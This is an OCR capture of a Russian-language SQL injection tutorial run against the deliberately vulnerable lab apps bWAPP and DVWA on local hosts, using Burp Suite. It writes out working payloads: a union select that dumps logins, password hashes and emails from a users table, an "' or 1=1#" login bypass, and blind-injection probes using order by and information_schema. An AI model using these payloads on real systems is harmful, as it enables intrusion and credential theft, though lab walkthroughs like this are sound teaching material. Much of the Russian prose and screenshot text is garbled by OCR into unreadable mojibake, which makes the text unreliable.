
OBEC

Link

5.0.96-0ubuntu3 | 5

nsl / Need an exclusive

d urder [@YivreTo] © 2014 MME BVBA / Folow on Twitter and ask For our cheat sheet, cor

MO>KHO BBIBECTH JIOTHHBI, TIAPOJIH, aJIpeca AICKTPOHHOM MOYTHI, C ITOMOIIBIO
BBIpakeHUs «iron' union select 1,login,password,email,5,6,7 from users #»:

BWAPP - SQL Injection - Mozilla Firefox 600
Kali Linux, an Offensive Sec: X | 3 bWAPP - SQL Injection X | +
€ c @ ® 10.0.2.18/bWA ; ’ F Q7 N @ =
£¥ Most Visited @ Getting Started "\ Kali Linux "\ Kali Training "\ Kali Tools \ KaliDocs '\ Kali Forums \ NetHunter [jJ Offensive Security % Exploit-DB & GHDB [f§ MSFu
> bWAPP v2.2 v Hack

Set your security level
low v Set | Current low

an ex+r‘eme|y buag\/ web opp I

Set Security Level Reset Credits Blog Logout

Bugs Change Password Create User

/ SQL Injection (GET/Search) /

Q8 ac

Search for a movie: | in,password,email,5,6,7 from users # Search
Title Release Character Genre IMDb
- 2 = < = bwapp
M 858486f31043e5839c735099457045affd0 5 Link
aim@mailinator.com
6885858486f31043e5839¢735d99457f045affd0 5 Link
timcore@timcore.ru Link

timcore 40bd001563085fc35165329ealff5c5echbdbbeef

bWAPP is icensed under wonew | © 2014 MME BVBA / Folow

Vazsumocts SQL Injection (Login Form/Hero)

Paccmotpum pasHoBuIHOCTE SQL — MHBEKIINH, KOTOpasi MOXKET CYIIECTBOBAThH B
1oJie 711 BBOJA JIOTWHA. MBI TOIKHBI 000MTH BXOJ B cucTeMy ¢ rmoMonibio SQLA,



mo3TOMY CHavasa npoBepuM SQLi ¢ onuHApHON KaBBIYKOM () U
BOCIIOJI30BABIINCH HHCTpyMeHTOM Burp Suite.

CxoHHekTHM Hat Opay3ep ¢ Burp. He Oyny onuceiBare, Kak 3To Jenaercs, a
IPOCTO YKaXy CKPUHILIOTBHI:

Preferences - Mozilla Firefox [ Jc] .I

Kali Linux, an Offensive Seci. X ‘ s bWAPP - SQL Injection X | 3¢ Preferences X | +
<> C @ ‘ © Firefox ‘labout:ersfsrencesl b4 d In @ =

£+ Most Visited @ Getting Started "\, KaliLinux " Kali Training "\ Kali Tools "\ KaliDocs X Kali Forums “§ NetHunter F Offensive Security  Exploit-DB & GHDB NEMSFu

Connection Settings

Configure Proxy Access to the Internet
No proxy,
Auto-detect proxy settings for this network

Use system proxy seuins_s

iManual proxy configuration

HTTP Proxy 127.0.0.1

Use this proxy server Tor all protocols

SSL Proxy

FTP Proxy

SOCKS Host
SOCKSv4 ‘@ SOCKSv5

Help Cancel

Burp Suite Community Edition v1.7.36 - Temporary Project 06 0

Burp Intruder Repeater Window Help
{Targeti Proxy iSpider TScanner T Intruder | Repeater TSequencer T Decoder TCnmparEr T Extender T Project options T User options | Alerts

[intercept | HTTP history | WebSockets history [ Optians |

— . a
[1] Proxy Listeners i
@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.
[ Add J Running | Interface Invisible Redirect Certificate
=@ 127.0.0.1:8080 Per-host

e

Remove »

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or export this certificate for use in other tools or another installation of
Burp.

[ Import / export CA certificate ] [ Regenerate CA certificate J

@ Intercept Client Requests
[f9) Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

@ Intercept requests based on the following rules:

[ Add J Enabled | Operator | Match type Relationship. | Condition
I— @ File extension Does not match (~gif$| ~ipg$| ~pngs| ~csss| ~js§| ~icos)
Edit a or Request Contains parameters
[ [m] or HTTP method Does not match (get|post)
Remove O And URL Is in target scope »

e

(oo |

[J Automatically fix missing or superfluous new lines at end of request

@ Automatically update Content-Length header when the request is edited

@ Intercept Server Responses
@ Use these settings to contrel which responses are stalled for viewing and editing in the Intercept tab.

[J Intercept responses based on the following rules:

‘ VT —T T B — T 1

Tenepb MOXKHO yKa3aTh KaBbIYKY B I0JI€ BBO/IA JIOTHHA, C TIEPEXBATOM TpaduKa:



Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

o [Target T Proxy T Spider I Scanner T Intruder TRepeater I Sequencer T Decoder IComparer I Extender T Project options T User options TAIerts ]

J Intercept T HTTP history TWEbSocketj histary TOptions ]

| [#] Request to http://10.0.2.18:80

i l Forward J l Drop J | Intercept is on | Action

_[ Raw T Params T Headers T Hex ]

|FOST /bWAPP/sqli_3.php HTTP/1.1

Host: 10.0.2.18

User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:60.0) Gecko/20100101 Firefox/60.8
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*:q=0.8
Accept-Language: en-US,en;g=0.5%

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.18/bWAPP/sqli_3.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 31

Cookie: security_level=0: PHPSESSID=0d71d90cdlabcef7f2f46d99f5cofdoa
Connection: close

!Upgrade—Insecure-Requests: 1

login=%27&password=&form=submit

[TapameTp ObLT U3MEHEH, HA BBEACHHBIN B 10JIe JoruHa. [lomydyaem Takxe ommoxKy
B CUHTAKCHCE:

bWAPP - SQL Injection - Mozilla Firefox e ® 0
Kali Linux, an Offensive Sec. X * bWAPP - SQL Injection X +

)2 X @ ® & 10.0.2.18/bWAPP/sqli_3.phg - O N @ =
£¥ Most Visited @ Getting Started '\, KaliLinux “\ Kali Training "\ Kali Tools "\ KaliDocs “\ Kali Forums “\ NetHunter [Jj] Offensive Security # Exploit-DB & GHDB [fI MSFu

an ex+remely buggy web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ SQL Injec‘rior\ (I_oain Form/Hero) /

Enter your ‘'superhero’ credentials
Login:

Password.

Login

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near " AND password = " at line 1

Waiting for 10.0.2.18...

Tenepb MOXKHO TOUTPATHCS C BRIPAXKEHUSIMU B ITapaMeTpe BBOJIA JIOTHHA
uHctpyMeHnTa BurpSuite. On Oynet BeimisaeTh kKak: «login='or



Burp Suite Community Edition v1.7.36 - Temporary Project @ ® 0
Burp Intruder Repeater Window Help

[Targat Provy | Spider T Scanner T Intruder Tﬁepeater TSequencer TDEcodar TComparer T Extender T Project options TUsar options | Alerts

J Intercept T HTTP history TWEhSu(kEts history TOptluns ]

|#] Request to http://10.0.2.18:80

[ Forward J [ Drop J | Interceptis on | Actian Comment this item H) CJ

Raw | Params | Headers | Hex

POST /bWAPP/sgli_3.php HTTP/1.1

Host: 10.0.2.18

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=8.5

Accept-Enceding: gzip, deflate

Referer: http://10.0.2.18/bWAPP/sqli_%.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 31

Cookie: security_level=0; PHPSESSID=0d71d%0cdlabcef7f2f46d99f5cofdoa
Connection: close

Upgrade-Insecure-Requests: 1

T

login=" or 1=1#&password=&form=submit|

3
v

(2 =) ) & [

0 matches

B oz il 5 ] 9 R 0 683 () Ninameiii Crl

B utore nosrygaeM BBIBOZ MOJ APYTUM ITOJIB30BATENEM, C UMEHEM M MOJCKA3KOM:

bWAPP - SQL Injection - Mozilla Firefox

Kali Linux, an Offensive Sect X | 3 bWAPP - SQL Injection X +

) &N ® % 10.0.2.18/b

£+ Most Visited @ Getting Started  Kali Linux " Kali Training % Kali Tools “ KaliDocs % Kali Forums “% NetHunter [JJ§ Offensive Security & Exploit-DB & GHI
R R e | A g

Buas Change Password Creote User Set SecurH\/ Level Reset Credits Bloa Logou+

/ SQL Injection (I_oain Form/Hero) /

Enter your 'superhero’ credentials

Login

OB EaC

Password

Login ;

Welcome Neo, how are you today?

Your secret: Oh Why Didn't | Took That BLACK Pill?

bWAPP nd - 4+ MME BVBA / on Twitter and ask

/ Need on exclusive

OTIMYHO, MBI IPO3KCILTYaTPOBAIIH 3Ty YA3BUMOCTb.



Iouck u 3xcruryaranusa ciaenbix SQL-nabexknuii.

31paBCTBYWTE, TOPOTUE APY3bI.

[ToroBopum o cienoit SQL-UHBEKINH, U OHA OTHOCUTCS K TAKOMY THUITY
WHBEKIIMHA, KOTOPBIA HE TOKA3bIBAET OIIUOKH.

s mpumepa s nepetien B BeO-npusioskenne DVWA, na Briaaky «SQL
Injectiony, u 106aBUJI B TI0JI€ OHY KaBBIUKY «‘‘»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
§ 10.0.2.7/mutillidae/inde: x | [ Damn Vulnerable Web 2 x | +
<) C @ ® & 10.0.2.7/dvwalvulnerabilities/sq o
£ Most Visited @ GettingStarted '\, KaliLinux '\ Kali Training ', KaliTools '\, KaliDocs ', Kali Forums ', NetHunter [ Offensive Security & Exploit-DB & GHDB | MSFu

e Vulnerability: SQL Injection

nstuctions | User ID:

Sewp D )
Submit
Brute Force

Command Execution N
More info

eskE
[ |

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

About

Logout

Username: admin View Source | View Help
Security Level: low

PHPIDS: disabled

U nocne BBojia, *KMEM Ha KHOTIKY «Submity, 1 BUIUM OIITHOKY:

Mozilla Firefox
§ 1002 x | 10.0.2.7/d abilitic x | 4

€)> C & ® 10.0.2.7/dvwa/vulnerabilities/sqli/2id="&Submit=Submit# - O
£+ Most Visited @ Getting Started ™\ Kali Linux "\ Kali Training ", Kali Tools " KaliDocs '\ Kali Forums “\ NetHunter [l Offensive Security = Exploit-DB = GHDB | MSFu

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use mear ''''' at line 1

NubpiMH CJI0OBaMH, 1 MOT'Y UCIIOJIb30BATh 3TY YA3BUMOCTD.

N @




B 10 xe Bpems, cnenas SQL uHBEKINS HE BBIBOAUT HUKAKUX OIMIMOOK, U €CIIA MBI
MPOTECTUPYEM aHATIOTUYHBIN npumMep Ha Bkiagake «SQL Injection (Blind)», To He
MOJTyYUM HUKAKOW OIINOKU:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox e e
$ 10.0.2.7/mutillidae/inde. X Damn Vulnerable Web A X | +

<« c @ D 10.0.2.7/dvw € ties/sq o O W i @
£+ Most Visited @ Getting Started '\, Kali Linux '\, Kali Training '\, Kali Tools *\ KaliDocs '\ Kali Forums *\ NetHunter [ Offensive Security ® Exploit-DB & GHDB [ MSFu

:
o)

groers Vulnerability{ SQL Injection (BIind)I

instrictons) | User ID:
Seapi—

1 Submit
B Eocs 1

{Commana Exscuion S|
CSRF
File Inclusion
SQL Injection
I

More info

Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: low ==
PHPIDS: disabled

1

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox [-JNC]

§ 10.0.2.7/mutillidaefinde: X | [@8] Damn Vulnerable Web /. X | +

PESCR ® 10.02.7/dwalvulnerabilitiedfsqi_blina/zia="&pubmit=Submit O n @

£+ Most Visited @ Getting Started "\, Kali Linux "\ Kali Training "\ Kali Tools '\, KaliDocs '\ Kali Forums "\ NetHunter [ Offensive Security % Exploit-DB # GHDB [ MSFu
DYWA)
=/

Vulnerability: SQL Injection (Blind)

User ID:

More info

File Inqlqllon
SQLinjection |
[ sQu injection @iing) |
Upload |
XSS reflected

XSS stored

DVWA Security |

PHP Info

Logout |

Username: admin View Source | View Hel
Security Level: low Pl istited| J
PHPIDS: disabled

DTO HE 3HAUUT YTO CTpAaHMIIA HE ysa3BUMa. J[e10 B TOM, 4TO BeO-CalT MPOCTO HE
MOKa3bIBAET OIINOKHU.

B peanbHOI )KM3HU HYKHO NBITATHCSI HAUTHU DKCIUIOWTHI K ciaenbiM SQL-
MHBEKIIUSIM.

Pasymeercs, TeCTUpOBaTh HY)KHO HE C IIOMOILBIO OJJHOW KaBbIYKH, & Pa3HbIMU
meTtoaamu. HyxeH TBopueckuii moaxos K Aeny. AIropuTM padoThl OyaeT
CJIEYIOIIMM: HYKHO IIOTIBITATHCSI BCTABUTH UCTUHHOE M JIOXKHOE YTBEPKICHHUE,
JUISL TOTO, 4YTOOBI HAMTH MHBEKIUIO. [Ipy BCcTaBKEe MCTUHHOTO BBIPAXKEHUS, JODKHA




MPUCYTCTBOBATh MPABUIIbHASL CTPAHUIIA, a IPU JIOXKHOM, HEMTPaBUJIbHAS.
HenpaBunbHas cTpanuiia OyAeT BBIIVISAETh HE TaK, Kak s OKUAAIL.
JlaBaiiTe nmonpaktukyemcs. Beenem B nose nuudpy 1, 1 moayuyum BbIBO:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox

1 10027 i i X | [® Damn Webs X | +
< c @ ® 10.0.2.7/dvwa/vuln ties/sc 7id=1&Submit=Submits o

&t Most Visited @ GettingStarted ", KaliLinux %, Kali Training “, Kali Tools ', Kali Docs ‘& Kali Forums "\, NetHunter [f] Offensive Security & Exploit-DB & GHDB JIMSFu

e Vulnerability: SQL Injection (Blind)

nswructions | User ID:
Setp

JE T |
I0: 1

Commeiand Exeeiion First nane: admin

M Surname: admin

Qi More info

L

XSS reflected

XSS stored

Submit

|
|
DVWA Security |
PHP Info |

About

Logout |

Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled

B nepByto ouepensb s nonpoOyr0 BBECTH UCTUHHOE 3HAYCHUE BBIPAXKEHUS, U OHO

OyzneT BeIIIAETh Kak: «1*“ and 1=1#». Ecnu cTpanuna ys3BuMa, TO OHa HE

W3MEHUTCA.
Bgenewm B anpecnou crpoke URL Hame BeipakeHue:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox

<« c @ @ 10.0.2.7jdvwa/vulnerabilities/sqli_bl L.« ibmit=Submit: . Q1Y

£ Most Visited @ GettingStarted \, Kali Linux *\ Kali Training %\, Kali Tools '\, KaliDocs '\ KaliForums %\ NetHunter [ Offensive Security & Exploit-DB & GHDB FIMSFu

4 10.0.2.7/mutillidae/inde: X | [ DamnVulnerable Web 2 x | 4

Vulnerability: SQL Injection (Blind)

Home

Instructions
Setup

User ID:

Submit

ID: 1' and 1=1#
First name: admin
Surname: admin

‘Command Execution

|
\
|
Brute Force |
\
|

CSRF

File Inclusion
SoCinjection) More info

Upload
XSS reflected
XSS stored

DVWA Security
PHP Info

About

Logout

Username: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

n o =

HctunHoe YTBCPKACHUC HC BIIMACT HA CTPAHUILLY.

Terneps 106aBUM JI0XKHOE YTBEpKACHUE, KOTOpoe uMeeT BUA: «1“ and 1=0#»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox 600

§ 10.0.2.7/mutillidae/inde: X | [@] Damn Vulnerable Web A X | +

< C @ ® 10.0.2.7/dvw ) L : “ t=Submité o O n o =

%+ Most Visited @ Getting Started '\, Kali Linux \ Kali Training *\ Kali Tools N, Kali Docs \ Kali Forums *\ NetHunter [ Offensive Security % Exploit-DB & GHDB [ MSFu

DR

Vulnerability: SQL Injection (Blind)

Home |
Instructions |
Setup

User ID:

Submit
Brute Force

|

Command Execution |
CSRF 1
File Inclusion |
SQL Injection

[ sQL injection @ing) _|
L |
XSSveficted |
XSS stored 1

More info

DVWA Security |

Username: admin View Source | View Help
Security Level: low L L
PHPIDS: disabled

Ha nepBblif B3MJIs]1, HUUEro HEOOBIYHOTO, HO HAa CAMOM JIeJie CTpaHuIIa He
0TOOpaXkaeT TO, YTO JIOJDKHA, TaK KaK MbI iepeaanu id=1.

MoeM IpOTECTUPOBAThH YSI3BEMOCTH Ha CTOJIOIBI, C IIOMOIIBIO BRIpAKEHUS «order
by». Jlo6baBuM uctTuHHOE BhipaxkeHue: « 1 order by 1#»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox [ C I <]
¥ 10.0.2.7/mutillidaefinde: X | [@ Damn Vulnerable Web 4 X | 4+
€)= C @ ® 10.0.2.7/dvwa/vulnerabilities/sqli_blind/?ig=1' order by 1%23fSubmit=Submit o O INn @ =

£+ Most Visited @ Getting Started *\, Kali Linux “, Kali Training %, Kali Tools %, KaliDocs ', Kali Forums “, NetHunter [l] Offensive Security & Exploit-DB & GHDB [ MSFu

—
D\Wa)
e Vulnerability: SQL Injection (Blind)
[nstructions | User ID:

Setup

Submit
Brute Force |
Command Execution |
CSRF |
File Inclusion
SNCIoctony More info

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

OTtoOpaxkaeTcst mpaBWJIbHAS CTPAHUIIA, KaK U B ipumMepe ¢ «1“ and 1=1#».
Taxoke Mbl MOXKEM IIPOBEPUTD JIOKHOE YTBEPHKACHUE, KOTOPOE OyIET BBIIVISACTD
kak: «1*“ order by 10000»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox

$ 10.0.2.7/mutillidae/inde: X | [@ Damn Vulnerable Web/ X | +

€)> C B ® 10.0.2.7/dvwa/w s/sq 1 1. t=Submit .

£+ Most Visited @ Getting Started '\, Kali Linux \ Kali Training \ Kali Tools '\ Kali Docs '\ Kali Forums \ NetHunter [ Offensive Security # Exploit-DB & GHDB [ MSFu
)
2

Vulnerability: SQL Injection (Blind)

| User ID:

Submit

More info

File Inclusion ]
SQL Injection |

Username: admin View Source | View Help i
Security Level: low bt et ]
PHPIDS: disabled

BBIBO,Z[a I/IH(I)OpMaI_II/II/I Ha CTPaHUIC HC IIPOU30IIIIO, a 3TO 3HAYUT, YTO CTPAHHIIA

ysSI3BUMa, JJa)Ke €CJIM HeT BbhIBo/Ia OmMOoK SQL.
3Hasl, 4YTO Ha JaHHOW cTpaHule ecTh cienas SQL uHbekuus, MoxKHO
BOCIIOJIB30BaThCsl BhIpaXKeHUEM, HanpuMep: « 1 union select 1,2#»:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SGL Injection (Blind) - Mozilla Firefox

$ 10.0.2.7/mutillidaefinde: X | [ Damn Vulnerable Web 2 X | +

s e © 10.02 71emaivineraisl bt wiovet PN st o

£+ Most Visited @ GettingStarted %, Kali Linux %, Kali Training %, Kali Tools " KaliDocs % Kali Forums ', NetHunter [Jf] Offensive Security % Exploit-DB % GHDB [f] MSFu

T Vulnerability: SQL Injection (Blind)
(nsimuctions | User ID:

Submit

ID: 1' union select 1,2#

Command Execution

CSRF

File Inclusion : n
Firs 1

SQL Injection Surname: 2

Upload |
XSS reflected
XSS stored

DVWA Security
PHP Info
wow |

Logout

More info

Username: admin View Source | View Help |
Security Level: low
PHPIDS: disabled

Bunum BeiBoa undopmanuu id, first name, surname.
Momudunupyem Boipakenre B URL, u ono mpumet Bua: «1* union select
table name, 2 from information_schema.tables»:




Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection (Blind) - Mozilla Firefox

§ 10.0.2.7/mutillidae/inde: X | [ Damn Vulnerable Web/ X | +

< c ® 10.0.2.7/dvw

£+ Most Visited @ Getting Started '\, Kali Linux \, Kali Training *\ Kali Tools \ KaliDocs '\ Kali Forums *\ NetHunter [ Offensive Security % Exploit-DB & GHDB IIMSFu

[ |
Instructions |
Setup

Brute Force ]

[Fieinctusion ]|
[SQtinjection T
 soL injection (@lind) _ |
Upioad] S
XSS reflected |
XSS stored |
DVWA Security |
PHRIo |

}

Din)

Vulnerability: SQL Injection (Blind)

User ID:

Submit

union select table name, 2 from information_schema.tables#
m in

2 from information_schema.tables#

2 from information_schema.tables#

ID: 1' union select table name, 2 from information_schema.tables#
First name: COLLATION CHARACTER SET_APPLICABILITY

Surname: 2

ID: 1' union select table name, 2 from information_schema.tables#
First name: COLUMNS
Surname: 2

ID: 1' union select table name, 2 from information schema.tables#
First name: COLUMN_PRIVILEGES

Surname: 2

ID: 1' union select table name, 2 from information schema.tables#
First name: KEY COLUMN_USAGE

Surnam

ID: 1' union select table_name, 2 from information_schema.tables#
First name: PROFILING
Surname: 2

n @

Crpoxka nist o0HapykeHus npoctoi u cienoit SQL nHbeKIunu aOCONMIOTHO TaKast
xe. OTIIu4Me TONBKO B TOM, KaK €€ OOHAPY HUTh.

HyxHO npuaymMbIBaTh CriocoObl 0OHAPYKEHUSI HHBEKITUN, HO HEKOTOPBIE IPUMEPHI

s Bam MpcaoCTaBUII.

HUccanenoBanue 0oj1ee ca0:KHbIX SQL-UHbEKIUIA.

31paBCTBYWTE, TOPOTUE IPY3b.
A xoten 6v1 mokazatk Bam nocrarouno xutpyro SQL-unbeknuo. Ham
NOHa00UTCs ya3BUMOe BeO-npuiiokenne DVWA.
[TocTaBMM HU3KHI YPOBEHb 0€30MACHOCTH «loW»:

1 10.0.2.7/mutillidae/inde: X | [@ Damn Vulnerable Web /. X | +

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

)2 C @ ® 10.0.2.7/d

£¥ Most Visited @ Getting Started “\ Kali Linux *\ Kali Training "\ Kali Tools '\ KaliDocs “\ Kali Forums “\ NetHunter [j] Offensive Security & Exploit-DB & GHDB [ MSFu

Brute Force

Command Execution
CSRF |
File Inclusion

SQL Injection

SQL Injection @lind) |
Upload |
XSS reflected |

Username: admin
Security Level: low
PHPIDS: disabled

D\@a)
DVWA Security »

Script Security

Security Level is currently low.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low v Submit

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications
You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently disabled. [ 1

i @




S 3aMHTEpecoBaH B CpeAHEM YPOBHE, HO XOTEN ObI TOKa3aTh, Kak BCe pabOTaeT Ha
Hu3koM. OTkpoeM Bkiaaky «SQL Injectiony», u BBeeM enUHUITY «1»:

1 10.0.2. idaefi X Damn

< (N ® 10.0.2.7/¢

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

WebA X |+

5/5qlif7id=1&Submit=Subr

R

£ Most Visited @ Getting Started "W, KaliLinux ", Kali Training ", KaliTools “ KaliDocs “\, Kali Forums “ NetHunter [l Offensive Security & Exploit-DB & GHDB [ MSFu

Home
Instructions |
Setup

Brute Force
Command Execution

CSRF |

Vulnerability:

o)

SQL Injection

User ID:

Submit

I0: 1
First name: admin
Surname: admin

[souimecton |
SQL Injection (Blind) |
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
avow |

Logout
Username: admin

Security Level: low
PHPIDS: disabled

More info

View Source | View Help

Kak Buaum, cTpanuia oroopaxaercs KOPpPEeKTHO.

Teniepp poBeneM MHBEKIUIO Yepe3 URL, BCTaBUB CUMBOJI KaBBIUKH «»:
Pb IPOBECH 0 p )

abilitic % | +

§ 1002 X | 10.02.7/

€)> ¢ @

Mozilla Firefox

N @

® 10.0.2.7/dwwalvulnerabilities/sqli/?id=1'&Submit=Submitst

£+ Most Visited @ Getting Started '\, Kali Linux '\ Kali Training % Kali Tools “ KaliDocs ' Kali Forums “\ NetHunter [fJ Offensive Security & Exploit-DB & GHDB [ MSFu

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near *‘1'*' at line 1

Buaum ommoOky.

Tenepb 100aBUM UCTUHHOE YTBEPKICHHUE, KOTOpOE OyaeT BhIIAAETh Kak: « 1 and



&

¢ @

{ 10.0.2.7/mutillidae/inde: % | [ Damn Vulnerable Web A X | +

) 10.0.2.7/dvwa/wi

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

e e

Home |

Instructions
sewp

BruteForce |

Command Execution |

eskE

Filoinclusion |
|

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info |

bow |
Logout

Username: admin
Security Level: low
PHPIDS: disabled

OHO sIBIISIETCS ICTUHHBIM, U CTPaHUIAa OTOOPaXKaeTCsl KOPPEKTHO.
Ecnu mbl no6aBuM mudpy «0» B BIpa’k€HUE, TO MbI IOJTYYUM HEMPaBUIbHYIO

£+ Most Visited @ Getting Started "\, KaliLinux “\, Kali Training “, Kali Tools % Kali Docs “, Kali Forums s, NetHunter llOffensweSe:ur\:y % Exploit-DB = GHDB [ MSFu

Vulnerability: SQL Injection

User ID:

ID: 1' and 1=1#
First name: admin
Surname: admin

Submit

More info

View Source | View Help |

CTpaHuLly, a 9TO 3HAYUT, YTO MbI MOKCEM CACIIaTh HHBCKIHIO:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

# 10.0.2.7/mutillidae/inde: X | [ Damn Vulnerable Web 2 X | +

<

c fr

) 10.0.2.7/dvwa/vulne 1
£+ Most Visited @ Getting Started "\, Kali Linux %\ Kali Training \Kamml; N, Kali Docs *\ Kali Forums *\ NetHunter [l Offensive Security = Exploit-DB & GHDB I MSFu

Vulnerability: SQL Injection

lnm:ﬂons

Sewp

Brute Force |

User ID:

Submit

Command Execution
CSRF

File Inclusion |
[ \
SQL Injection @ina) |
Upload
XS refected |
Ksssoed |

DVWA Security
PHP Info

About
Logout

Username: admin
Security Level: low
PHPIDS: disabled

More info

View Source | View Help

MBI TakKe MOXKEM HCIOIB30BaTh BhIpakeHue «order by 1»:

n @

N @




Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox (N C I ]

1 1002 illidae/inde: X | [8 Damn Vul ble Web 4 x | +
« = C @ @ 10.0.2.7/dvwa/vulnerabilities/sq y 1%23RSubmit=Submit - D m o =

¥ Most Visited @ Getting Started "\ Kali Linux “, Kali Training ', Kali Tools ', KaliDocs ', Kali Forums “ NetHunter [f] Offensive Security & Exploit-DB & GHDB [ MSFu
DYWA)
==/

e Vulnerability: SQL Injection
% User ID:

Brute Force

Submit

ID: 1' order by 1#
Command Exscution I First name: admin

CSRF | surname: admin

[ sqUinjection | More info
SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

About
Logout

Username: admin View Source | View Help
Security Level: low
PHPIDS: disabled

[lomyyaeM KOPPEKTHBIN BBIBOJ CTPAHUILIBI.

J1o0aBUM K BBIPAKEHUIO HECKOJIBKO HyJIEH, a MMeHHO «order by 10000»:

Mozilla Firefox

1 10.0.2.7/mutillidaefinde. X ‘ 10.0.2.7/dvwa/vulnerabilitic X ‘+

<« c @ @ 10.0.2.7/dvwa/vulnerabilities/sqli/fid=1" order by 10000§623&Submit=Submit#
£+ Most Visited @ Getting Started S, Kali Linux “e Kali Training "%, Kali Tools "%, Kali Docs ', Kali Forums “e, NetHunter [l Offensive Security +

Unknown column '10008@°' in 'order clause’

BbIBO/1 HEKOPPEKTHBIN, M 3TO 3HAYUT, YTO BeO-CcTpaHuIla ysa3BuMa Kk SQL-
UHBEKLIHSIM.



ITonpITaeMcst BBIICHUTH KOJIMYECTBO CTOJIOIIOB, M BBEJEM 3HAYEHHE 3:

Mozilla Firefox

+ 10.0.2.7/mutillidaefinde: X | 10.0.2.7/dvwa/vulnerabilitic X | +

<« cC @ @ 10.0.2.7/dvwa/vulnerabilities/sqlif?id=1" order by 3% 23&Submit=Submit#

£+ Most Visited @ Getting Started ', Kali Linux ' Kali Training % Kali Tools ‘% KaliDocs “e Kali Forums ' NetHunter [l Offensive ¢

Unknown column '3' in 'order clause'

Ha cTpanuiie oroOpaxkaeTcsi, 4T0 TaHHBIN CTOJI0€1] HEU3BECTHBIN.
Bcerasum nudpy 2:

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Moxzilla Firefox e o0
1 10.0.2.7/mutillidaefinde: X | [B Damn Vulnerable Web A X | +

« ¢ @ @ 10.0.2.7/dvwa/wt

£ Most Visited @ GettingStarted '\, Kali Linux %, Kali Training *, Kali Tools *, Kali Docs '\, Kali Forums %, NetHunter [l Offensive Security % Exploit-DB & GHDB [fI MSFu

'\
o)

- O 1 In @ =

e Vulnerability: SQL Injection
% User ID:

Setup

Submit

ID: 1' order by 2#]
First name: admin
Surname: admin

|
Brute Force |
Command Execution |

|

CSRF

File Inclusion

SQL Injection (Blind)
Upload

XSS reflected |
XSS stored |

More info

DVWA Security |

PHP Info

View Source | View Help|

Crpanuna orobpas3miach MPaBUILHO. DTO 3HAYUT, UTO HA CTPAHUIIE 2 CTONIOIIA.
Mps1 MOXeM mHcaTh YTBEPKACHHE C BRIpAKEHHEM «union select», koropoe Oymer
BBITVISIIETH KakK: «union select column name,2 from information_schema.columns
where table name = ,,users %23».

Jlst magana nponumiem B URL «union select 1,2», u mocMoTpuM Ha BBIBOI:



¥ 10.0.2.7/mutillidaefind:

& ¢ @

x

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Damn Vulnerable Web / X | +

® 10.0.2.7/dvw

JInerabilities/sqli/?id=1" union

1.29%23&Submit=Submiti

£+ Most Visited @ Getting Started ™\ Kali Linux ", Kali Training '\, Kali Tools "\ KaliDocs '\, Kali Forums *\ NetHunter [l Offensive Security = Exploit-DB = GHDB FlIMSFu

Mpb1 MOKeM BBIBOJIUTH UH(OPMAIIHIO B IEPBOM U BTOPOM CTOJIOIIE.

Home
Instructions
Setup

Brute Force
‘Command Execution
CSRF

Vulnerability: SQL Injection

User ID:

ID: 1' union select 1,2#
First name: admin
surname: admin

File Inclusion
SQL Injection (Blind)
Upload

XSS reflected

